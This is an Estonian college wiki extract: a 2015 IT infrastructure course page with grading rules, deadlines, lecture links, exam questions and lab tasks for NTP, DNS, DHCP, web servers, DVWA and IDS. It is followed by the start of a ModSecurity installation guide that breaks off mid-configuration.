Aine on jagatud praktilisteks ja teoreetilisteks töödeks. Kaheksaks (8) laboriks ning kaheks (2) teoreetiliseks kontrolltööks. &lt;br /&gt;
&lt;br /&gt;
Lisaks on tarvis teha eraldi dokumentatsiooni ehk ühe kaitstud labori kohta &#039;&#039;&#039;viki artikkel&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Praktiliste tööde&#039;&#039;&#039; hulka kuuluvad erinevate teenuste paigaldamine ning seadistamine. Ühe labori eest on võimalik saada maksimaalselt 6 punkti. &lt;br /&gt;
&lt;br /&gt;
* 2 punkt on võimalik saada teenuse seadistamise, paigaldamise ning suulise kaitsmise eest. (Õppejõud võib seadistust muuta ning paluda paranduste kohta selgitust)&lt;br /&gt;
* 4 punkti on võimalik saada, kui kaitsta oskuslikult konkreetse labori kohta käivad teoreetilised teadmised suuliselt õppejõule. (Küsimused esitab õppejõud)&lt;br /&gt;
* 6 punkti on võimalik saada, kui parandada konkreetse teema kohta käivat juhendit ning esitada tulemuse õppejõule. (Mõeldud ambitsioonikamatele tudengitele)&lt;br /&gt;
&lt;br /&gt;
Lävendiks on 2 punkt, mis tähendab praktilise osa teostust. Kui iga labori eest on ainult 2 punkt, tuleb teoreetilised teadmised kaitsta kontrolltöö käigus, aga kui iga labori eest on vähemalt 4 punkti, ei ole kontrolltööd tarvis teha. &lt;br /&gt;
&lt;br /&gt;
==Tähtajad päevaõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): 16. märts&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6): 18. mai&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): ~20. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): 25. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: 16. märts&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2: 18. mai&lt;br /&gt;
&lt;br /&gt;
==Tähtajad kaugõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): &lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6):&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: &lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2:&lt;br /&gt;
&lt;br /&gt;
=Loengud=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kaugõppe 2015. aasta kevadsemestri loengusalvestused on leitavad [https://echo360.e-ope.ee/ess/portal/section/57596897-5ba5-46cb-b1b2-b4a4619f5eb0 siit]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/loeng00%20-%20Sissejuhatav%20loeng.odp Sissejuhatav loeng] - &amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;NB siin on kirjas hindamiskriteeriumid ja tähtajad.&amp;lt;/span&amp;gt; Lisaks on kirjas kontrolltööde ajad ja muu aine läbimiseks oluline info. (Päevaõppes toimus 02.02.2014)&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused-ntp.html NTP teenus] (Päevaõppes toimus 02.02.2015)&lt;br /&gt;
&lt;br /&gt;
[https://www.us-cert.gov/ncas/alerts/TA14-013A NTP amplification Attack]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 1. Tähtaeg 9.02.2015. DNS loenguks lugeda läbi DNS põhimõisted järgnevatest materjalidest:&amp;lt;/span&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Kohustuslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS_ja_BIND&lt;br /&gt;
&lt;br /&gt;
Soovituslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.odp DNS loeng (OpenDocument)] [http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.pdf (PDF)]&lt;br /&gt;
&lt;br /&gt;
[http://elab.itcollege.ee:8000/infra/bind/ BIND9 konfiguratsiooni näitefailid]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS näide]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Infra%20loeng%20DHCP%202013.odp DHCP loeng]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit# DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/14Cj90aWN4n4MCO_zZlZzu0aHJeIDTPEfQgiDXIuMxF4/edit# DNS uuendamine DHCP abil]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Veebiserveri loeng] &lt;br /&gt;
&lt;br /&gt;
Screencast veebiserveri konfigureerimisest: &lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-1.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-2.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-3.ogv&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 2. Tähtaeg 20.aprill.2015. Lugeda läbi [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20RC1.pdf OWASP top 10 2013] &amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Mõisted kontrolltööks ja arvestuseks=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Esimese kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*DNS mõistete kohta leiab infot: http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
*hostinimi (mis märgid on hostinimes lubatud ja kus?)&lt;br /&gt;
*host täisnimi&lt;br /&gt;
*domeeni täisnimi&lt;br /&gt;
*DNS&lt;br /&gt;
*A-kirje&lt;br /&gt;
*alias ehk CNAME&lt;br /&gt;
*puhverdamine&lt;br /&gt;
*dig ja selle kasutamine&lt;br /&gt;
*DNS spoofing&lt;br /&gt;
*domeen ja domeeninimi&lt;br /&gt;
*Authoritative ehk pädev server&lt;br /&gt;
*Forwarding ehk edastamine&lt;br /&gt;
*FQDN&lt;br /&gt;
*Host&lt;br /&gt;
*PTR-kirje&lt;br /&gt;
*rekursiivne lahendus&lt;br /&gt;
*primaarne server&lt;br /&gt;
*sekundaarne server&lt;br /&gt;
*open resolver&lt;br /&gt;
*kuidas nimelahendus töötab, kirjelda näiteks &amp;quot;kui veebisirvijas avatakse leht, siis mis võiks toimuda?&amp;quot;&lt;br /&gt;
*selgitage näitekonfi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$TTL    600&lt;br /&gt;
@       IN      SOA     planet.zz. root.planet.zz. (&lt;br /&gt;
                        3      ; Serial - Mida see tähendab?&lt;br /&gt;
                        3600   ; Refresh - Mida see tähendab?&lt;br /&gt;
                        8640   ; Retry - Mida see tähendab?&lt;br /&gt;
                        36000  ; Expire - Mida see tähendab?&lt;br /&gt;
                        3600 ) ; Negative Cache TTL - Mida see tähendab?&lt;br /&gt;
;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Teise kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*virtuaalhost&lt;br /&gt;
*http&lt;br /&gt;
*Kuidas toimub ssl/tls ühenduse algatamine?&lt;br /&gt;
*Mis vahe on sümmeetrilisel ja asümmeetrilisel krüpteerimisel?&lt;br /&gt;
*Mis vahe on avalikul võtmel ja sertifikaadil?&lt;br /&gt;
*https&lt;br /&gt;
*SNI&lt;br /&gt;
*IPS&lt;br /&gt;
*IDS&lt;br /&gt;
*Mis vahe on reflected XSS ja stored XSS rünnetel?&lt;br /&gt;
*Mis vahe on SQL injectionil ja blind SQL injectionil?&lt;br /&gt;
*Mis on secure cookie? (http://php.net/session.cookie-secure ;session.cookie_secure =)&lt;br /&gt;
*Mis tähendab, et küpsised on http_only?&lt;br /&gt;
*Kas XSS ründeid saab filtreerida andmebaasikihis, näiteks SQL tulemüüriga?&lt;br /&gt;
*Mis on CSRF ja kuidas see toimib?&lt;br /&gt;
*Mis on same origin policy?&lt;br /&gt;
&lt;br /&gt;
=Dokumentatsioon=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Dokumentatsioonist (loeng)]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Aruannete%20hindamise%20juhend.pdf Hindamismaatriksi näide]&lt;br /&gt;
&lt;br /&gt;
=Referaadi teemad 2015=&lt;br /&gt;
&lt;br /&gt;
*[[dnf]] -- DNF package manager&lt;br /&gt;
*[[SQL tulemüürid]] -- Otsida erinevaid SQL tulemüüre ja kirjata nende põhiparameetrid&lt;br /&gt;
*[[sqlmap]]&lt;br /&gt;
*[[Kippo SSH Honeypot]]&lt;br /&gt;
*[[p0f]] http://tools.kali.org/information-gathering/p0f&lt;br /&gt;
*[[hping]] http://www.hping.org/&lt;br /&gt;
*[[Yersinia]] -  http://www.yersinia.net/&lt;br /&gt;
*[[WPScan]] - http://wpscan.org/&lt;br /&gt;
*[[Aircrack]]&lt;br /&gt;
*[[ntop]]&lt;br /&gt;
*[[Nikto]]&lt;br /&gt;
*[[Varnish]] - Artikkel on olemas, kuid vajab kaasajastamist (Artikli valimise korral kirjuta artikli algusesse suurelt: Kaasajastab &amp;lt;Sinu ees- ja perekonnanimi&amp;gt;, 2015, &amp;lt;rühm&amp;gt;&lt;br /&gt;
*[[DigiNotar]]&lt;br /&gt;
*[[Ipkungfu Tulemüür]]&lt;br /&gt;
*[[iodine]]&lt;br /&gt;
*[[fabric]]&lt;br /&gt;
*[[mpstat]]&lt;br /&gt;
*[[arpwatch]]&lt;br /&gt;
*[[ss]] &lt;br /&gt;
*[[glances]]&lt;br /&gt;
*[[mod_status]]&lt;br /&gt;
*[[smoothwall]]&lt;br /&gt;
&lt;br /&gt;
=Abimaterjal=&lt;br /&gt;
* [http://tools.ietf.org/html/rfc2131 RFC2131] &lt;br /&gt;
* [http://kuutorvaja.eenet.ee/wiki/Isc-dhcpd_server Kuutõrvaja DHCP materjal] &lt;br /&gt;
&lt;br /&gt;
Abimaterjal laboriks: &lt;br /&gt;
* Maskeraad [[Ufw]]&lt;br /&gt;
* DHCP serveri seadistamine [[DHCP]]&lt;br /&gt;
* [http://www.debian-administration.org/article/343/Configuring_Dynamic_DNS__DHCP_on_Debian_Stable Dünaamiline DNS kirjete uuendamine DHCP poolt]&lt;br /&gt;
* [http://debianclusters.org/index.php/Troubleshooting_DHCP DHCP probleemide lahendamine]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng11%20-%20Monitooring.odp Loeng 11 Monitooring]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng12%20-%20LDAP.odp Loeng 12 LDAP]&lt;br /&gt;
&lt;br /&gt;
=Praktilised tööd=&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/spreadsheets/d/1TiErlKTrnW3T_dcjceMyeLr9yCHBDwTmjXDxkAf1hDw/edit?usp=sharing Nimekiri] DNS labori masinate IP vahemikega ning domeeninimedega&lt;br /&gt;
&lt;br /&gt;
==Sissejuhatav praktikum==&lt;br /&gt;
&lt;br /&gt;
Valige endale domeeninimi, näiteks eikkasutaja.zz.&lt;br /&gt;
&lt;br /&gt;
Seadke DNS serverile IP aadress 192.168.56.201&lt;br /&gt;
 nano /etc/network/interfaces&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
  address 192.168.56.201&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Taaskäivitage võrguliides &#039;&#039;&#039;eth1&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 ifdown eth1 &amp;amp;&amp;amp; ifup eth1&lt;br /&gt;
&lt;br /&gt;
Muutke DNS serveril hostinimi ns.sinudomeen.&lt;br /&gt;
&lt;br /&gt;
 echo ns &amp;gt; /etc/hostname&lt;br /&gt;
&lt;br /&gt;
Muutke /etc/hosts failis masinanimi&lt;br /&gt;
&lt;br /&gt;
 127.0.1.1       ns.sinudomeen   ns&lt;br /&gt;
&lt;br /&gt;
Näiteks valisin oma domeeniks mernits.zz&lt;br /&gt;
&lt;br /&gt;
 127.0.1.1       ns.mernits.zz   ns&lt;br /&gt;
&lt;br /&gt;
Käivitage teenus &#039;&#039;&#039;hostname&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 service hostname start&lt;br /&gt;
&lt;br /&gt;
Korraldus hostname -f peab tagastama FQDN-i&lt;br /&gt;
&lt;br /&gt;
 hostname -f&lt;br /&gt;
&lt;br /&gt;
Seadistage ka [[OpenSSH:_võtmetega_autentimine| võtmetepõhine autentimine]].&lt;br /&gt;
&lt;br /&gt;
[[Image:Infra-a21-2015.png|thumb|Kasutatav võrk]]&lt;br /&gt;
&lt;br /&gt;
==Labor 1 - NTP seadistamine (6p/6%)==&lt;br /&gt;
&lt;br /&gt;
Loe läbi õppematerjal (loengud) ja seadista NTP teenus nii kliendis, kui ka serveris selliselt, et klient küsib aega ainult serverist (ja ka localhostist, mille prioriteet on madal e fudge 10) Server küsib aega EENET NTP serverist ja mõnest muust Eestis asuvast NTP serverist.&lt;br /&gt;
&lt;br /&gt;
Seadistage server selliselt, et ei välisvõrgust ei saa teha [https://www.us-cert.gov/ncas/alerts/TA14-013A siin] kirjeldatud rünnet.&lt;br /&gt;
&lt;br /&gt;
[[NTP Ubuntus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 2 - DNS seadistamine (6p/6%)==&lt;br /&gt;
&lt;br /&gt;
*Mõtle välja endale domeeninimi&lt;br /&gt;
*Loo domeeninimele tsoonifail ja seadiste nimeserver&lt;br /&gt;
*Luba rekursiivne lahendus oma sisevõrgust&lt;br /&gt;
*Loo reevers tsoon&lt;br /&gt;
*Loo A kirjed e-posti, nimeserveri jaoks&lt;br /&gt;
*Loo CNAME kirjed www, samba ja oma severi jaoks&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS Näitelahendus 1]&lt;br /&gt;
&lt;br /&gt;
[[Nimeserveri labor V.2| DNS Näitelahendus 2]]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/dns/DNS_BIND.html Väike abiinfo lisaks loengule]&lt;br /&gt;
&lt;br /&gt;
Kaitsmisel pead oskama luua uut tsooni, lisama kirjeid, oskama kasutada rndc, dig, nslookup vahendeid.&lt;br /&gt;
&lt;br /&gt;
==Labor 3 - DHCP seadistamine (6p/6%)==&lt;br /&gt;
* DHCP paigaldamine ja seadistamine (6p)&lt;br /&gt;
&lt;br /&gt;
Seadista labori desktop VM saamaks IP aadressi ja nimeserverit sama labori serveri VM käest.&lt;br /&gt;
&lt;br /&gt;
PS: desktop võrguseadetest eemalda esimeselt liideselt nimelahenduse küsimine (küsitakse DHCP abil ainult IP aadress). Kui seda ei tee, siis lähevad DNS päringud ikkagi esimese, NAT liidese kaudu.&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
==Labor 4 - apache (või nginx) veebiserveri seadistamine (6p/6%)==&lt;br /&gt;
* Loo kaks virtualhosti nii http, kui ka https (self-signed cert) tarbeks.&lt;br /&gt;
** Mõlemad nimed peavad sirvijas töötama (desktop arvutis) nii http, kui ka https abil ja esilehel peab olema selgelt näha kumma virutalhostiga on tegemist. Seega index.html sisse lisa virtualhosti nimi.&lt;br /&gt;
&lt;br /&gt;
* Abimaterjalina võib sobida: Apache2 paigaldamine ja virtualhostide seadistamine [[Virtualhost apache2 näitel]]. Algajale lisamaterjal [[Veebiserveri labor v.2]]&lt;br /&gt;
&lt;br /&gt;
==Labor 5 - mõne veebirakenduse (nt Wordpress) paigaldamine ja turvamine varnishiga (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Labori eesmärgiks on paigaldada veebirakendus, mõõta selle jõudlust ja seejärel suurendada veebirakenduse jõudlust kasutades puhvermälu. Veebirakenduse ja puhvermälu võib iga tudeng ise valida. Näite teeme Wordpress ja WP SuperCace abil. Samas on väga soovitatav valida cache tehnoloogia ise, et erinevad inimesed saaksid võrrelda erinevaid asju.&lt;br /&gt;
&lt;br /&gt;
Wordpress paigaldamine ja jõudluse testimine (varnish) &lt;br /&gt;
*[https://docs.google.com/document/d/1AKVigVudVjxQuCz02i6p4Kv8oO4RD6aJiV9pbPuujZY/edit?pli=1  Wordpress paigaldamine]&lt;br /&gt;
**[[WordPress turvamine| Wordpress turvamine]]&lt;br /&gt;
**[http://wpdevshed.com/top-cache-plugins-wordpress/ Wordpress caching plugins]&lt;br /&gt;
**[[Varnish]]&lt;br /&gt;
***[[Apache logide seadistus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 6 - DVWA paigaldamine ja OWASP testimine (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Paigaldage [[DVWA]].&lt;br /&gt;
&lt;br /&gt;
Loe läbi OWASP top 10 ja [http://enos.itcollege.ee/~ttanav/VRI/abiks/mysql_tut.php SQL põhitõed]&lt;br /&gt;
&lt;br /&gt;
Mõned videod:&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=CDbWvEwBBxo&lt;br /&gt;
&lt;br /&gt;
==Labor 7 - rakenduste tulemüürid (greensql ja mod_security baasil) (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
==Labor 8 - IDS (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistada IDS/IPS ühele oma valitud serverile ja demonstreeida ühe-kahe reegli toimimist.&lt;br /&gt;
&lt;br /&gt;
[[IDS_Systeemid_-_Labor_1| IDS Näitelahendus]]&lt;br /&gt;
&lt;br /&gt;
[[Suricata| Abistav materjal]]&lt;br /&gt;
&lt;br /&gt;
==Questid, millede eest saab punkte==&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1oRt9JLF6lcf_Z-ReHCfbZXnSoc-EOBzGprxvIyhq4qk/edit?usp=sharing Quest 1 (Läbi ja tehtud)]&lt;br /&gt;
&lt;br /&gt;
=Esitatud referaadid=&lt;br /&gt;
[[IT infrastruktuuri teenused 2013 kevad]]&lt;br /&gt;
&lt;br /&gt;
[[Wordpressi turvalisuse suurendamine]]&lt;br /&gt;
&lt;br /&gt;
=Juurteenuste kursus=&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused.html Interneti juurteenused]&lt;br /&gt;
&lt;br /&gt;
=Täiendav lugemismaterjal=&lt;br /&gt;
[https://zib.wooop.biz/category/asd/ Erinevad juhendmaterjalid Linuxi teenuste jm seadistamiseks. Autor Gert Vaikre A21]&lt;br /&gt;
&lt;br /&gt;
=Vanad loengumaterjalid=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng00%20-%20Sissejuhatav%20loeng.odp Loeng 00 - Sissejuhatav loeng - NB Tähtajad ja nõuded]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng01%20-%20E-post.odp Loeng 01 E-post]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng03%20-%20Failiserver.odp Loeng 03 Failiserver]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Loeng 04 Veebiserver]&lt;br /&gt;
&lt;br /&gt;
[http://goo.gl/6XQ0U WordPress seadistamine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Loeng 05 Dokumentatsioon]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng06%20-%20VPN.odp Loeng 06 VPN]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng07%20-%20iptables.odp Loeng 07 Tulemüürid]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng08%20-%20SAN%20-%20NAS%20-%20CAS.odp Loeng 08 SAN NAS CAS]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng09%20-%20Virtualiseerimine.odp Loeng 09 Virtualiseerimine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng10%20-%20DHCP.odp Loeng 10 DHCP]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Modsecurity&amp;diff=89517</id>
		<title>Modsecurity</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Modsecurity&amp;diff=89517"/>
		<updated>2015-05-30T13:00:15Z</updated>

		<summary type="html">&lt;p&gt;Mernits: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= See sisu vajab uuendamist!!! =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt-get update&lt;br /&gt;
apt-get install libapache2-mod-security2&lt;br /&gt;
ln -s /usr/share/modsecurity-crs/modsecurity_crs_10_setup.conf /etc/modsecurity/&lt;br /&gt;
vim /etc/apache2/mods-available/security2.conf&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;IfModule security2_module&amp;gt;&lt;br /&gt;
        # Default Debian dir for modsecurity&#039;s persistent data&lt;br /&gt;
        SecDataDir /var/cache/modsecurity&lt;br /&gt;
&lt;br /&gt;
        # Include all the *.conf files in /etc/modsecurity.&lt;br /&gt;
        # Keeping your local configuration in that directory&lt;br /&gt;
        # will allow for an easy upgrade of THIS file and&lt;br /&gt;
        # make your life easier&lt;br /&gt;
        IncludeOptional /etc/modsecurity/*.conf&lt;br /&gt;
        IncludeOptional /usr/share/modsecurity-crs/base_rules/*.conf&lt;br /&gt;
        IncludeOptional /usr/share/modsecurity-crs/activated_rules/*.conf&lt;br /&gt;
#       SecRuleEngine On&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
apt-get install libapache2-mod-security2&lt;br /&gt;
&lt;br /&gt;
== Autor ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Aleksei Issaikin AK31&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Pavel Kodotšigov AK31&#039;&#039;&#039;  [[https://wiki.itcollege.ee/index.php/Modsecurity_j%C3%B5udlus ModSecurity jõudlus]]&lt;br /&gt;
&lt;br /&gt;
Esimene versioon 19/05/2012&lt;br /&gt;
&lt;br /&gt;
Viimati muudetud &amp;lt;b&amp;gt;{{REVISIONDAY2}}/{{REVISIONMONTH}}/{{REVISIONYEAR}} {{REVISIONUSER}} &#039;i poolt.&amp;lt;br&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Timestamp &amp;lt;b&amp;gt;({{REVISIONTIMESTAMP}})&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sissejuhatus ==&lt;br /&gt;
&lt;br /&gt;
ModSecurity on tulemüür, mis on  mõeldud &#039;&#039;&#039;Apache&#039;&#039;&#039; serveri peal jooksvate veebirakenduste kaitsmiseks. Tema peamiseks ülesanndeks on rünnakute ennetamine ja nende likvideerimine, enne kui nad jõuavad serveris jooksvate veebirakendusteni.&lt;br /&gt;
&lt;br /&gt;
ModSercurity on võimeline monitoorima kogu &#039;&#039;&#039;http&#039;&#039;&#039; liiklust reaalajas ja avastama kõik võimalike sissetunge. [[File:Modsecurity.png‎ |400px|thumb|right|]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Modsecurity mõned võimalused&#039;&#039;&#039;:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
XSS rünnakute kaitse&lt;br /&gt;
SQL injection kaitse&lt;br /&gt;
CSRF kaitse&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Versioonide ajalugu:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
2.6.5&lt;br /&gt;
2.6.4&lt;br /&gt;
2.6.3&lt;br /&gt;
2.6.2&lt;br /&gt;
2.6.1&lt;br /&gt;
2.6.0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Eeldused ==&lt;br /&gt;
&lt;br /&gt;
Serverisse peab olema paigaldatud &#039;&#039;&#039;Apache&#039;&#039;&#039; veebiserver. &lt;br /&gt;
&lt;br /&gt;
Modsecurity testimiseks paigaldame ka testimisekeskkonna [[DVWA]].&lt;br /&gt;
&lt;br /&gt;
Kõik toiminugd peavd käima juurkasutaja all, selleks logime ennast juurkasutajaga sisse käsuga:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo -i&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tulemüüri allalaadimine ja installimine ==&lt;br /&gt;
&lt;br /&gt;
Tulemüüri installimiseks tuleb sisestada käsureal käsu:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;apt-get install libapache-mod-security&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Järgmisena uuendame Modsecurity ruulid ära e. CRS.&lt;br /&gt;
&lt;br /&gt;
Selleks kõigepealt laeme modsecurity ruulid alla:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;wget http://downloads.sourceforge.net/project/mod-security/modsecurity-crs/0-CURRENT/modsecurity-crs_2.2.5.tar.gz&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pakkime lahti käsuga:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;tar zxf modsecurity-crs_2.2.5.tar.gz&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui lahtipakkimine õnnestus, tuleb lahtipakkitud kaustast kopeerida konfiguratsiooni fail ModSecurity kausta ja ümmber nimetada e. näiteks:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;cp /root/modsecurity-crs_2.2.5/modsecurity_crs_10_setup.conf.example  /etc/modsecurity/modsecurity_crs_10_setup.conf&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kindlasti tuleb veel teha apache teenusele restardi käsuga:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;service apache2 restart&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui paigaldamine õnnestus tuleb hakkata tulemüüri seadistama.&lt;br /&gt;
&lt;br /&gt;
== Tulemüüri seadistamine ==&lt;br /&gt;
&lt;br /&gt;
Kasutame suvlalist tekstiredaktorit ja loome &#039;&#039;&#039;mod_security&#039;&#039;&#039; konfiguratsiooni faili kausta &#039;&#039;&#039;/etc/apache2/conf.d/modsecurity2.conf&#039;&#039;&#039; käsuga:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;nano /etc/apache2/conf.d/modsecurity2.conf&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tekkitatud faili lisame kirje tulemüüri reeglite sisse lülitamiseks:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt; ifmodule mod_security2.c&amp;gt;&lt;br /&gt;
